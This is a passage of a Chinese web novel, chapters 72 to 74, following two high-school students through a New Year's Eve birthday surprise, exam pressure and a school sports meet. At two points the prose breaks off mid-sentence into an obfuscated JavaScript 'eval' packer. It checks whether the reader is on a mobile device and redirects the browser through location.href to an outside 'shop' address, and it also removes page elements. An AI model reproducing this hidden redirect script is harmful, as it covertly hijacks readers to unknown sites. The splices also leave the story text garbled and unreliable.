四目相对之下,周遭一片寂静,此时此刻他们仿佛只能看到倒影着彼此身影的面容,呼吸不自觉地开始交融,璀璨灯光下,少女眼睫微微颤抖。 陈恕的心在这一刻砰砰直跳,微仰着头望着他的少女就在他的身前,他不自觉地被吸引,甚至想要靠近。 少年微微低头,顺从着内心的指引…… “砰——”璀璨的烟火冲天而上,化作漫天的光芒。 陈恕、张期期猛然回过神来,慌张地撇开视线,灯火下彼此的耳后漫延上一大片一大片的红霞。 沉默半响后,他们沿着灯光璀璨的长街并肩慢慢走着,陈恕再次问道:“期期……你怎么在这里?我听兰亭说,你回老家过年了……” 张期期点头,“嗯!是回了宜市那边一趟,今天吃完年夜饭我们就回来了。” 陈恕点点头,并没有多问,只是又道:“下次不要这么晚了还一个人跑过来这边,很危险的。” 张期期扯了扯对方的手臂,小声道:“好嘛……我知道了,我只是想见你就跑过来了,没有多想其他的。” 直白的话一出,陈恕顿时一滞,他压抑着狂跳的心脏和心底的欢喜,“还、还是要多想想的,安全第一。” 张期期噗呲一声笑了出来,安全第一……他这是在教小孩子嘛? 她一笑,陈恕顿时意识到那句“安全第一”有多木讷和官方了,他攥了攥指尖,尴尬地任由少女取笑着…… 他们边走边聊,张期期自然也问了陈恕怎么这么晚了,山地车专卖店又没有开门的情况下,他怎么单独一个人出现在这附近。 陈恕便告诉她,山地车专卖店的老板老板娘就住在这附近,他们一家人昨天去外省旅游了,然后家里的电闸忘了关,他就是过来帮他们将电闸关了的。 对此,张期期表示疑惑,“你什么时候和老板一家关系这么好了?” 她可是记得当初她带着兰亭过去买自行车的时候,那个老板完全就是一副无良黑心老板剥削打工人的模样。 陈恕抿了抿唇,“老板娘原先是我妈妈的好朋友,不久前我们才相认。” 张期期闻言,随即笑了起来,“那真好,这世界上又多了一个关心你的人。” “嗯。” 走出了那条长长的街道,他们来到了国道上,国道两旁有几家商店除夕夜还是开着门的。 张期期看着对面的便利店,突然道:“陈恕,我脚有点酸,也有点渴了,我……” 她话还没说完,陈恕目光准确地落在对面的那家便利店上,他道:“那你等我一会,我去给你买水。” “好。谢谢陈恕哟~”少女眨了眨眼睛,低声笑着道。 见陈恕转身走过斑马线,往对面的便利店跑过去后,张期期立刻跑到街道拐弯处的一家蛋糕店。 蛋糕店内面包、糕点等所剩无几,她一眼看中了玻璃柜中唯一剩下的一个巴掌大的草莓小蛋糕,蛋糕上写着“生日快乐”。 “你好……请问这个蛋糕是有人定的吗?”张期期问道。 店员皱眉:“是有人定的,但是对方的电话打不通,现在我们都要关门了。” 这时,柜台面上的手机突然震动响了一下,店员看了一眼,改口道:“啊,对方来信了,说不要了,她不过来拿了。” 张期期闻言顿时露出惊喜的神色,“那卖给我吧。” 她付了钱之后小心翼翼地把打包好的小蛋糕放在了包包里,还好她今天背的是水桶包,这个小小的蛋糕完全放得下,只不过她要小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张期期抿了抿唇,只觉得心底憋得难受,从刚刚见到他的时候,她就一直在笑,企图将喜悦和欢欣传递给他,哪怕一丝丝也行。 她摇下车窗,往车子后方望去,再次笑着喊了一声,“除夕快乐,陈恕你要开心啊!蛋糕很好吃的。” 陈恕站在原地,目送着那一抹明亮远去,他微笑着低声呢喃:“谢谢你,期期。” 他眷恋地唤着她的名字,唇齿间仿佛感受到细微的甜意,仅仅是念着她的名字便让他感到满足,安慰。 半响,陈恕低垂着头望着手心的包装好的蛋糕,红色的纸盒子很有过年的氛围。 公交车由远及近停在了他的身前,他小心翼翼地一手托着蛋糕的地步,一手护着小蛋糕,不要让它被挤到。 窗外烟火闪烁,霓虹灯点缀着整个城市,无数的光斑投射在车窗上,外面的世界绚丽又充满刺激。 坐在窗边的陈恕并未看向窗外的热闹喧嚣,反而眼眸带着笑意低垂着头,他内心猜测着,会是什么口味的小蛋糕呢? 她给他设置了一个小疑问,而这个小小的疑问让他在阖家团圆、孤独感渐浓的今夜感受到了一丝丝的抚慰和喜悦。 公交车上播放着到站通知,陈恕护着小蛋糕起身下车,他迫不及待地想揭穿谜底。 穿过城中村里昏暗狭小的巷子,陈恕踩过井盖,松动的井盖在寂静的夜色中发出咕咚咕咚的回响,这里是外来人员聚集的地方,平日里吵杂喧嚣,但最近因为这些外来人员大多数返回老家过年,因此反而显得格外的寂寥。 陈恕打开出租屋的房门,手臂微微压了一下墙壁上灯光的按键,出租屋内顿时大亮。 他关上房门,将护了一路的小蛋糕轻轻地放在桌子上,随后定定地看了几眼,去卫生间洗了个手后出来。 少年神色郑重,目光都带上了虔诚。他小心翼翼地拆开红色包装,是草莓蛋糕! 半个带着绿叶的草莓被乳白色奶油点缀在蛋糕的最上面,红色的果酱淋在蛋糕侧面,细碎的草莓果实夹杂在面包胚中间。 陈恕眼底荡着笑意,然而下一刻……他的目光一滞,小蛋糕上插着一块迷你的纸牌,上面写着“生日快乐。” 生日快乐…… 他突然闷声笑了起来,难以言语的喜悦席卷他的心头,他笑着笑着眼尾都有些发红。曾经苦涩灰暗的十一年里,他自己都忘记了除夕夜这一天是他的生日。 想起她说的「是小蛋糕,我刚刚趁你去买水的时候买的,希望你不要介意。」 他怎么会介意呢?期期……谢谢你,谢谢这个阴差阳错的“生日快乐”。 他望着小蛋糕,低声道:“陈恕…除夕快乐,生日快乐。” 窗外响起了烟花冲天而上的声音,一声爆响,如流星般的烟火从漫天洒落,托着长长的尾气划过天际。 73. 第 73 章 - 疏忽间,寒假一眨眼就过去了…… 京照一中门口再次熙熙攘攘、车马如龙。在人潮车流中,张期期一眼望见了其中骑着自行车的陈恕。她如同以往一样,摇下车窗大喊了一声“陈恕——” 在少年停下自行车循声望过来的同时快速拉开车门下车,一溜烟跑到对方身边,坐上那个她专属的灰粉色软垫。 少女双手揪着对方的衣摆下方,眼眸带笑道:“好了……出发……” 陈恕余光瞥了一身身后,语气淡淡:“你抓紧了。”然,他的眼底却带着丝丝笑意。 他骑车到学校正门口时,突然有两辆自行车从他的左右两边飞驰而过,掀起一阵凉风,陈恕不用看都知道肯定是许兰亭那家伙。 果不其然,许兰亭骑着自行车还回过头来,挑衅地看了一眼他们。 林听笑着喊道:“期期……好久不见!” 张期期从陈恕的身后微微探出头来,也笑着道:“好久不见——” 不远处刚走到校门口附近的周嘉先便看见三辆自行车像弧线一样蹿进了校门,他嘴角抽了抽,突然预感到这将又是一个鸡飞狗跳的新学期。 - 刚放完假回来的学生呈现出一种心还野着的状态,张扬抱胸哼了一声,视线从班上学生脸上一个个扫过。 这个……眼神闪躲,明显放假前布置的试卷没刷完! 这个……呦,一脸底气满满的模样,想来寒假试卷时刷完了,但是!张扬露出了阴瘆瘆的神情,这个家伙,全省统考成绩非常不理想! 嗯……还有这个,正低着头埋头刷试卷,好啊,补作业都补到他面前来了! …… 张期期低声嘟囔道:“怎么过了个年,感觉张老师更年期又近了,他怎么一副喜怒无常的样子?” 一旁的周嘉先:……敢不敢再大声点! 果不其然,张扬勃然大怒,“张期期,别以为你统考进了省前十,我就对你满意了!前五呢?前五都没进!” 张期期愣了一下,不是……张老师实在太看得起她了,到底是什么造成对方的错觉呢,觉得她可以进入省前五! 她眼神复杂,“张老师,你将省金中的同学置于何地?” 张扬:…… 与此同时,班上反射弧超长的同学终于反应过来了,众人转过身来,望着张期期陆陆续续道:“期姐就是牛!省前十就前十!” “叫家长那都不存在的,谁被叫家长都不可能是我们期姐被叫家长!” “……” 林听也转过头来,再次低声笑着道:“期期,真棒!” 被一堆彩虹屁捧着的张期期发出了嘿嘿嘿的笑声,张扬一脸无奈地看着底下的学生,他到底还是忍不住吐槽道:“这是学校!你们这些期姐、亭哥像什么话,搞得跟□□抱团一样。” 期姐?亭哥? 张期期、许兰亭反应迅速地“诶”了一声。 张扬气笑了,挑了一小截的粉笔丢了过去,“干什么呢!占我便宜?!” 重点一班的学生顿时笑闹成一团,然而很快他们就笑不出来了,因为正式进入高二下学期的他们来说,某种意义上已经是准高三生了。 “残酷”“高压”的学习生活不断地向他们席卷而来,无数张试卷堆满了他们的桌面,就连教室后方的柜子里也塞满了满满的做题本,曾经那颗时不时在教室后面蹦跶的篮球也不复存在。 反反复复地刷题、考试,印刷试卷的墨香味充斥在每位学生的鼻尖,恍然间他们觉得自己仿佛被腌上了墨香的味道,在无边的题海中沉沉浮浮。 窗外的寒风吹着吹着,从冬吹到了夏,一晃眼就到了蝉鸣声渐响的五月份。 * 京照市,冬天格外冷,夏天特别热。整座城市的绿树狰狞着向天际漫延伸长,蝉虫用尽全身的力气在这个夏季叫嚣着,哪怕燃尽他们的寿命。 头顶的风扇呼呼吹着,热烘烘的风吹得人困倦不已。 昨晚刷题到凌晨一点钟,今天早上又起得早,张期期这会儿困得不行,她强撑着眼帘,下巴垫在交叠的手臂上,微微眯着眼背诵着桌面上的英语单词。 教室外耀眼的阳光透过窗户洒在她的桌面上,刺眼的阳光让她的眼睛彻底闭了起来。 坐在窗边的陈恕余光一瞥,看见细碎的光芒洒在少女的脸上,对方又长又密的睫毛下投下两片半月型的阴影。 她的鼻尖微微耸动,眼皮颤抖,阳光扰她睡得不安稳。 见此,陈恕伸手将窗户上那一层白色薄纱透气窗帘拉上,阳光顿时不再刺眼,变得温和,催人入眠。 丝丝缕缕的光芒透过薄纱窗帘,空气中的灰层粒子飘飘扬扬。 他盯着薄纱窗帘看了片刻,嘴角挂起一丝笑意,原本教室的窗帘是那种厚重遮光型的,然而某一天他来教室的时候却发现两边的窗帘全部换成了轻微遮光透气的薄纱窗帘。 他知道是她和班主任提议的,除了她不会有人注意到当夏日来临,厚重的窗帘拉上之后,他仿佛再次置身在那个昏暗的柜子里。 那一次看电影,也就只有她发现他的恐惧。 - 张期期睫毛微颤,缓缓睁开双眼,她拖拖拉拉地直起身子,伸手揉了揉发困的双眼。 “陈恕……我睡了多久啊?”她低声道。 陈恕闻言,抬头看了一眼挂在墙上的时钟,他抿了抿唇,“五分钟。” 张期期一愣,放下揉着眼眶的手,无奈道:“才五分钟啊,我怎么感觉自己睡了很久很久,我还做了好几个梦呢!” 这时,林听、许兰亭也都转身望过来,林听眼神中也带着倦意,“上次我笔掉在地上,我捡起来的时候就闭了下眼,就那几秒钟的时间我好像做了六个梦。” 许兰亭支着胳膊撑着脸,哀嚎道:“这样的日子什么时候才是尽头啊!” 话刚说完,上课铃声便响了起来。 在全省各大高中里排名第二的京照一中早就结束了整个高中必修选修的课程,现在已经在进行一轮又一轮的复习,学校老师也让他们每一周都按照高考的模式来考,然后再进行查漏补缺。 今日也不例外,考完英语这一门科目后,重点一班的学生趴下了大部分,甚至放学铃声响了,这群人都毫无动静,没力气、没精神,连放学都无法让他们提起气力来。 张扬就是在这个时候走进教室的,他看着这些眼下一片青黑的学生们,皱起了眉头。 许是上一次全省统考让省金中包揽了全省前三名,所以一中校长危机感丛生,直接让这一学期的学生复刻省金中的教学模式进行高压式刷题。 这不是胡闹吗?张扬腹诽。 省金中从高一开始就是这种模式,能撑下来的学生都已经熟悉、习惯了!但是他们京照一中一贯以“相对自由、相对轻松”的教学模式让学生们自主学习,这种刻板的模式根本不适合他们学校的学生,再这样下去只会消耗掉学生们的精神气力。 高考!这是一场持久战,学生们高三还有得熬,现在高二真的不应该过早地进行高压式训练! 张扬内心叹了一口气,当然这只是他一个小小的班主任个人的见解,回头他再找其他老师交流一下,一起去和校长说一说吧! 压下内心的想法,张扬看着这些萎靡不振的学生,眼底闪过心疼,这会儿他甚至还感觉自己的腰椎开始隐隐作痛。 他反手揉了揉后腰,随后指关节敲了敲讲台桌面,“都给我提起精神来……” 他话还没说完,就撞上陈恕微皱的眉头,不愉的眼神,张扬扫了一眼正趴着的张期期,顿时气笑了。这是觉得他吵到张期期睡觉了?? 与此同时,张期期也刚好坐直起身,睁开了困倦的双眼。 陈恕顿了一下,这才收回看着张扬的视线,他转而低头刷着题目。 张扬:…… 被打了岔,他顺势也就降低了声音,继续道:“我们学校的春季运动会都是在五月份,今年也是,就在下周四、下周五。” “哇哦——” 重点一班的同学闻言,精神迸发,嗷嗷大叫! 张扬一副无语的样子,不是……你们刚刚不是还趴着睡吗?校运会这三个字是你们的闹钟吗? 望着眼前这群“群魔乱舞”的学生,他觉得应该收回刚刚的心疼,这群小崽子就得好好搓磨! 张扬拍了拍桌面,大声道:“好了好了,别叫了。跟你们说这件事呢,也是想让你们周末回去好好想想,下周校运会你们报什么项目!” “啊???”重点一班的学生顿时一脸抗拒。 “啊什么啊!每个班级都有指标的,必须参加!我现在把运动会的项目表格发在班群里,大家都自己去看一看。” 张扬说完,在重点一班学生的哀嚎中施施然地走出教室,他摩挲了两下下巴,嗯……他们班的学生其实一个个都非常要强,所以……他并不十分担心运动会会没人报名! 张扬走后,教室里的同学纷纷从桌柜里摸出手机,点开班级群,看着张扬发出来的校运动会表格。 张期期自然也不例外,她看了几眼后,若有所思地点点头,随后招呼陈恕、林听、许兰亭、周嘉先几人收拾书包回家。 一行人出了教室站在楼梯的拐角处等着,一会儿后林听微红着脸从女生厕所走出来,她将校裙换成了体育课运动短裤。 京照一中在夏季一共有两种女生校服,一种是衬衫加裙子,一中是运动T恤、运动短裤套装,但后一种只能在上体育课的时候穿。 因此,骑自行车上学的林听一般都是穿着运动短裤到了学校,然后再去女厕所换成裙子,放学再换成运动短裤。 林听看着在楼梯拐角处堵着的朋友,小声道:“要不下次你们还是不要等我了,多麻烦啊。” ……高一时,兰亭默默送她回家,就是一个人站在楼梯的拐角处等着,然而现在他们放学一行人一起走一段路,就变成好几个人等她。她一向是个不愿意麻烦别人的人,所以总觉得很不好意思。 闻言,张期期笑了笑,轻描淡写,语气轻松道:“这有什么麻烦的,就是站在楼梯这里等几分钟而已。” 其他人也点点头,并不觉得这是一件事。 “好啦!”张期期跑过去挽住对方的胳膊,笑道:“别说这个了,我们刚刚在讨论校运动会报什么项目好!” “那期期你报什么项目?”林听问道。 “她啊——力大无穷的女战士,当然报铅球啊!”许兰亭笑着拉长声音道。 张期期闻言,白了他一眼,随后道:“对,我报铅球吧。我们班女生不出意外的话应该也不想报铅球。” “那你们呢?”林听问。 许兰亭指了指自己,又指了指陈恕、周嘉先,道:“我们到时候再找个人凑成四百米接力赛。” 林听:……“那我报一百米竞速跑好了。” 张期期:…… 事实证明,重点一班的其他人也都是这么想的。 虽然张扬认为自己班的学生都挺要强的,班里绝对不会出现运动会上一个项目都不参加,一个奖项都不拿的情况,但他没想到学校给的指标达是达到了,但是绝大多数扎堆报一百米竞速跑、4百米接力赛、跳远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498264|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、跳高等耗时短、耗精力少的情况是怎么回事啊? 此时,回校的这一天,张扬皱着眉头看着交上来的表格,气道:“怎么?打算卷自己班的同学吗?这个男子女子一百米的前三名,咱们班要争个你死我活吗?” ……哼!有点要强,但不多是怎么回事! 他说着,底下的学生一个个跟鹌鸠似的低着头。 张扬扯了扯嘴角,“男子一千米、三千米、女子八百米不能没人报。我把表格放这里了,自觉点啊!”说完,他转身出了教室。 重点一班的学生面面相觑,大家你看看我,我看看你,随即默契地哀嚎一声,“这个天气,三千米跑下来得热死吧!” 体育委员想了想,突然站起来笑嘻嘻道:“诶!校运会我们班有后勤人员,到时候负责给大家爱的鼓励、贴心送水,亲手擦汗哦~这个福利仅限男子一千米、三千米、女子八百米。” 重点一班同学一脸无语,哦……这个配置谁不知道。 体育委员见此也不慌,反而继续笑眯眯道:“这次的后勤人员有我们的校花侯蕊,校草陈恕……” ??? 秋多嘛得!!!谁不想以后毕业了出去吹嘘他们学校的校花、校草给自己送过水、擦过汗!嘿嘿嘿~ 这时,班里刷刷刷地举起了好多只手,体育委员露出了满意且“阴险”的笑容,“既然大家这么踊跃地报名了,那就快来填表格吧。” 被临时通知上岗后勤的陈恕:…… 侯蕊:…… 她眉毛一竖,瞬间站起来准备反驳,她什么时候说去当后勤人员了? 然而还没等她开口,便见张期期奋力挤进了围着体育委员的那一堆人里,隐隐约约还能听到她激动的言语,“真的吗?真的吗?爱的鼓励、贴心送水,亲手擦汗!” 见此,侯蕊顿时露出一言难尽又纠结的眼神,她的小伙伴捂着嘴巴偷偷笑了笑,赶紧给她个台阶下,“侯蕊,你就当一下后勤人员吧!不然我们班没人报男子一千米、三千米、女子八百米啦……” 侯蕊轻哼一声,余光撇了一眼人群中的张期期,露出一副勉为其难的样子,“行吧!我主要是怕张老师为难。” 陈恕同样神色复杂,他听着体育委员越来越大声地推销着他,“陈恕!校草!学神!一米八!又高又帅,还有腹肌……” 张期期听得双眼发亮,拼命点头,连忙报上了女子八百米。 等她从人群中挤出来,回到自己的座位上时,硬是控制不止眼神飘向一旁的陈恕身上,并且视线开始往下移。 陈恕额角直跳,低声咬牙切齿道:“张期期!你在看什么?” 张期期闻言,耸了耸鼻尖,一副不太高兴的样子,当时在温泉乡泡温泉的时候她知道陈恕介意自己身上的伤疤,也就没有多看,生怕对方想太多,可是没想到现在他们班的男同学都知道陈恕有腹肌了,她都不知道呢! 于是她嘟嘟囊囊着,不情不愿地问道:“陈恕,你真的有腹肌吗?你怎么先给别人看了啊!” 陈恕一听,额角上的青筋跳得更厉害了,他咬着后槽牙低声道:“你在胡说八道什么。” ……什么腹肌不腹肌的,干嘛这么大庭广众之下,她一个女孩子问身为男生的他有没有腹肌这件事,而且有没有他都不会让别人看,好吗?陈恕在心里骂了体育委员一声。 张期期哦了一声,眨了眨眼,“那到底有没有嘛!我可是报了女子八百米哦~总不能像打广告一样,图片仅供参考吧。” 许兰亭、林听到底还是忍不住噗呲一声笑出来,两人笑得肩膀直抖。 陈恕无语地瞟了他们一眼,收回视线,又盯着张期期看了看,一股无力头疼的感觉漫上心头……和她掰扯,总是能气到他自己,而罪魁祸首还是一副无辜又死不悔改的样子,他最终决定跳过这个问题。 体育委员身边的人终于散了,他拿起表格一看,顿时嗷嗷直叫地拍打着自己的胸口,怒道:“怎么回事!怎么回事!男子三千米还是没人报吗?” 体育委员痛心疾首、一脸破防、原地跳脚。 都报了男子一千米的男同学纷纷低下头,心虚地摸了摸鼻子。其他人望天望地望空气…… 陈恕神色无奈,这真的是作为省排名第二的重点高中里的重点一班学生吗?这群人仿佛有那个大病! “我报。”他举起手,妥协了。 体育委员顿时仿佛像被渣男抛弃后,又找到老实人接盘一样重新焕发了神采,他干脆利落地在表格上签下了陈恕的名字,生怕他下一刻就反悔,不愿意为他负责了一样。 张期期一听,猛地站起身道:“后勤人员还缺不缺,我毛遂自荐!” 陈恕脸微红:…… “哇哦——”同学们意味不明地拉长声音喊道。 周嘉先:……你的算盘打得全班人都听见了! 体育委员眨了眨眼睛,为了三千米!他狠狠点头,“缺!” 与此同时,许兰亭眼底闪过扭捏,纠结,最后他见体育委员拿起表格,好像就要拿去交给班主任了,心一横,低声向林听问道:“我记得去年你就是后勤人员,今年……” 他双眼一闭,硬着头皮继续道:“今年还是吗?” 林听一愣,想起“爱的鼓励、贴心送水、亲手擦汗”,突然手哆嗦了一下,结结巴巴道:“今、今年……应该也还是要去帮忙的吧。” 她话音一落,许兰亭立刻举手,“还有我!三千米!” 知道林听就是后勤人员之一的体育委员嘴角挂起死板的微笑:……靠!原来我们是你们play中的一环啊?喂——你们礼貌吗? 74. 第 74 章 - 校运会那天格外地热,艳阳高照,天空万里无云,只剩下无边无际的湛蓝,湿热的风微微吹拂着,直吹得操场上的学生内心升起一股又一股的燥意。 “这都第几个领导讲话了……有完没完啊!”张期期站得脚掌都发麻了,她只能换成惦着脚尖站一会儿,再换成前脚掌抬起,后脚跟站着。 饶是如此,也实在顶不住在太阳下站了一个多小时,她身体微微往后倒了倒,站在她身后的林听脸色一变,连忙托住对方,压低着声音急道:“怎么了,头晕吗?” ……不会是要中暑了吧? 林听怨念地瞪了一眼前方一群领导坐着的位置,他们的头顶有建筑遮挡物,阶梯台阶后方还有一整排繁盛茂密的榕树,榕树树冠刚好盖在他们的头顶上方,洒下一片阴凉。 见林听仿佛被吓到一般,张期期连忙眨了眨眼睛,“我没事,没事!我就是……想尝试一下如果我装晕倒的话,台上的领导会不会有点眼色,赶紧结束他们的演讲。” 林听:…… 她憋不住还是笑了出来,但看着刘海微微湿润,脸颊坨红的张期期,又皱起了眉头,“真的吗?可是我感觉你的脸好红啊……” 张期期正想解释,台上刚好传来领导结束讲话的官方致谢,她立刻松了口气,重新提起精神,又稳稳当当地站好了,还小声地笑着道:“我准备好了!!!” 想起他们班口号的林听:…… 与此同时,站在张期期左手排后方的陈恕提着的心终于缓缓下落,她没事就好…… “你看我说得对吧?期期她肯定是装的,她这是梅开二度了,她的手段我熟悉得很,早就料到了!”站在陈恕身前微微侧过脸的许兰亭露出一副“我就知道”的神色。 他们作为这次校运动会参赛的选手,自然是需要列阵组成方团,到时候从领导台下走正步走过的! 他站在陈恕的前方,刚刚就拦下了以为张期期中暑的陈恕。 陈恕闻言,拧着眉头低声道:“也确实站得太久了。” 他的话语刚落,台上的领导刚好结束讲话。 - 校运动会的一对主持人就在这个时候上台了,女生是高二年级艺术班的赵晴,而男生则是学生会的会长曾奇。 俊男美女穿着西装、礼服,手上拿着麦克风开始讲话,操场上的几个广播同时响起。 “现在向我们走来的是来自高一重点一班的健儿们,看,他们的步伐是多么整齐,精神面貌是多么的自信……” 高一重点一班的举牌员穿着华丽的礼服裙子引领着身后的方阵走向正中间的领导台,举牌员在领导台下方停下脚步。 与此同时,举牌员身后的参赛方阵开始喊起口号,「一班一班,我是一班,再说一遍,我是一班。」 全场顿时哄声大笑,主持人曾奇愣了一下,哭笑不得地地偷偷看了一眼前方的领导,见领导们也满脸笑意,他这才放下心。 ……怎么这一届的高一生这么皮的? 高一一班的学生喊完后,心满意得地离开了,而他们的身后紧跟着是二班的学生。 当曾奇念到他们班的时候,二班的这群学生兴奋地喊着:「一班一班,我是一班……」 在场的学生老师领导都满脸问号,一班不是才刚刚走过去吗? 这时,校长笑着道:“看来是太紧张了,念错了!” 一旁的老师们也都露出了笑容,到底还是孩子,面对一整排的领导和后面的老师,紧张是在所难免的。 然而,二班的学生接着更大声地喊道:「逗你玩的,我是二班。」 众人:…… 好好好,都这么玩是吧? … 张期期噗呲一声哈哈大笑起来,“学弟学妹们真的好敢啊!也太搞笑了吧!” 站在她身旁的高二年级重点一班的同学纷纷露出了赞同的眼神,他们高一的时候还很老实呢,当年他们班的口号就是规规矩矩,但是又尬到脚趾头抠地的“文者称雄,武者称霸,高一一班,雄霸天下”呢。 而这时,林听眼中闪过犹豫和纠结,她看了一眼领导台,领导台上不只有他们京照一中的校领导、老师,也有邀请了其他几所学校的领导、老师,这其中自然就包括一中的死对头省金中。 她小声问大家,“……我们的口号真的行吗?会不会太狂妄了点?” 林听的话音刚落,他们班的同学纷纷投过来看叛徒的眼神,张期期恨铁不成钢道:“怎么会!领导、老师只会夸我们有志气!” “是吗?”她嘴角抽搐,一脸不信。 然而除了她之外,其他同学均是一脸激动,一副跃跃欲试的模样。哦,等会,除了陈恕…… 偷偷议论的这会儿功夫,高一各班已经差不多走完了方针,主席台上主持人开始说着官方用词,“现在迎面向我们走来的是高二国际班的学生……” 国际班? 张期期踮起脚尖,从前方的走过的方阵中看到了陆向川,恰在此时,陆向川刚好侧过头来,看见了站在原地等待的张期期。 张期期笑着朝对方挥了挥手,陆向川笑着点了点头。 陈恕望见两人之间的互动,抿紧了嘴唇,随后微微垂下了眼眸,他看着自己脚上那双洗得发白的灰色帆布鞋突然感到一阵难堪。 不对等……他和期期之间是不对等的。 在这个骄阳似火的夏日,他蓦然心头一凉,深深地意识到他们之间的巨大差距。 沉浸在难堪、无措和迷茫中的陈恕是在身旁有人发出不满的声音中回过神来的,他眉头微拧……怎么了? 很快,他就听到许兰亭抱怨道:“国际一班的口号是怎么回事啊?干嘛啊,听着真不爽!” 陈恕:?“他们的口号是……” 许兰亭立刻回头,生气道:“国际班格局就是不行!他们班的口号居然是「国际国际、脚踩平行,拳踢重点,国际最牛。」” 陈恕:…… 虽然听起来确实不太好,但是刚刚高一有一个班不是喊过「四班四班,我是四班,三班五班,不如四班」吗?也没见有什么反应啊? 对于陈恕的疑虑,许兰亭回道:“这是因为国际班的学生平时就有些眼高于顶,跟我们学校其他班级格格不入,有种……唔……” 周嘉先闻言,补充道:“优越感。” 许兰亭双手一拍,“对!就是优越感!” 陈恕了然,国际班的学生走的不是国内高考的路子,而且国际班的学生基本都是富家子弟,他们自成一个圈子,与学校其他班级的同学都不怎么往来。 想到这里,陈恕看着斜前方的张期期,明明她和兰亭应该也算是那个圈子的人,但是他从他们身上完全感受不到那种疏离优越、高高在上的感觉…… 许是他的眼神太具有存在感,张期期蓦然转过头来,当撞上陈恕的眼神时,她眸中闪过疑惑,随即笑了起来。 燥热的风吹拂起她微微湿润的额前刘海,她的脸颊被太阳晒出红霞,眉眼弯弯,言笑晏晏。 少女眼底清澈,笑意盈盈,方才从心底漫延上来的不安和自弃被温柔地抚慰了,有时候她勇敢坚韧,横冲直撞地将他心中的不郁、黑暗冲散,有时候她温柔一笑,无声地安慰着残破不堪的他。 期期……陈恕心中微微呢喃。 … 对于国际班的不满言论很快就散去了,因为轮到重点一班出场了。 主席台上的主持人按部就班、继续官方地念着稿子,侯蕊踢正裙摆,深吸一口气,随后双手紧握牌匾的杆子,合着主持人的言语,迈着步伐带着重点一班往前走去。 与此同时,喊声震天。 「金中金中,不如一中,再说一遍,不如一中。」 牛逼啊—— 此时此刻,在场的学生目瞪口呆,看看!看看!他们学长学姐/同学的格局,真大啊——不以班论,而是以校论。 为什么说喊声震天呢,这是因为除了参赛选手的那一个方阵在喊,站在自己班位置的其他单纯参观的学生也一个个激奋地喊了……全场独一份的行为! 站在最后面的张扬咬牙切齿,这群崽子……省统考前三都被人家包揽了,还有脸喊“不如一中”。 科目老师张峰拍着张扬的肩膀低头直笑,“有志气!噗呲——有志气!不愧是你张扬的学生,有够张扬的!” 领导台上的校长:…… 他抿着唇,一副聚精会神的模样,硬着头皮忽视左右两边几位省金中的领导、老师投来的不满眼神…… 早知道就不坐最中间了,现在看哪边都不成。校长腹诽。 * 方阵列队在领导台下走完之后,台上的领导陆陆续续三三两两离开了,接下来便是各项运动的开始。 京照一中的操场很大,跑道全程是八百米。 体育委员拿着一沓表格,往班级的位置走去,他给后勤人员人手一张,由他们分别带着参赛的选手前去检录。 重点一班的学生大部分参加了百米竞速跑,后勤人员顿时就不足了,而百米竞速跑是最开始的第一项运动,体育委员喊道:“百米竞速就在对面开始,也不用人带了,有参加的赶紧过检录。” 林听一听,看向张期期道:“期期,那我就先过去了。” 张期期闻言,立刻举起拳头,用力道:“加油!” 周嘉先、陈恕也点点头,“加油。” 许兰亭摸了摸后脑勺,笑着道:“我跟你过去吧。反正我的项目还要等多一会儿。” “好。”林听忍不住笑了笑。 两人穿过跑道,走向检录的地方,那里摆着一张桌子,坐在桌前的是……诶?陆向川…… 许兰亭拉着林听跑过去,“向川,你们学生会可真忙啊!” 陆向川正核对着参赛选手的身份信息,确认无疑后,便写下号码交给对方,“这是你的号码,到时候看成绩的话就根据这个号码去主席台下面的红榜上找。” 女生红着脸,小声道:“谢谢学长。” 他将手头的事情忙完之后才看向许兰亭,目光在林听身后望了望,见她身后没人便神色自若地收回视线,笑着道:“嗯。学生会事情会稍微多一点。” 想到期期……他的笑容在脸上沉滞片刻后,陆向川嘴角又挂起笑意,“期期呢?怎么没见她……唔,她有报什么项目吗?最近都没怎么联系,我都不太知道你们的近况呢?” 少年神色和煦,语气熟捻。 许兰亭也什么异样,闻言便道:“她啊报了扔铅球还有女子八百米。” “女子八百米,很少人愿意在大夏天报耗时长的运动。” 许兰亭眼神促狭,笑了几声,“她啊!是为了后勤人员的「爱的鼓励、贴心送水、亲手擦汗」哈哈哈……哎,应该说是冲着陈恕那家伙去的……” 林听站在一边,见对方眼神疏忽间变得灰暗下来,她连忙走过去直接打断他们的谈话,“你好,我的学生证在这,麻烦你核对一下信息。” “哦!对!先不说了,先给林听核对下信息。” 陆向川点点头,拿过对方手中的学生证,核对完后给了一张写着纸条的号码。 “那我们去起跑处等着了……”许兰亭朝着对方摆了摆手。 许兰亭、林听走向起跑处,林听往身后看了一眼,见陆向川低着头在核对信息,便转过头来轻声道:“他……是喜欢期期吧?” 啊?许兰亭一惊! “不是吧?”他露出匪夷所思的神色,“我感觉不是。” 林听:……“我觉得你的感觉是不准确的,他就是喜欢期期。” “不可能!”许兰亭使劲摇头,随后认真道:“我倒是觉得他想抢期期的爸妈,你是不知道……” 走过去的这会儿功夫,他将陆向川小时候多缠着期期的父母的事告诉了她,“期期是个父母控,她小时候和我说她很不开心呢!不过长大之后嘛……我们虽然关系还不错,几家之间也有来往,但怎么说呢,向川他在国际班,国际班的氛围和我们完全不一样,有时候吧……反正我们关系还行……!” 许兰亭也说不好这种渐行渐远的感觉,要说关系一般,可他们几人算是从小到大认识的,但要说关系很好吧,他又觉得陆向川没怎么把他当成好友,好像他是个捎带的一样。 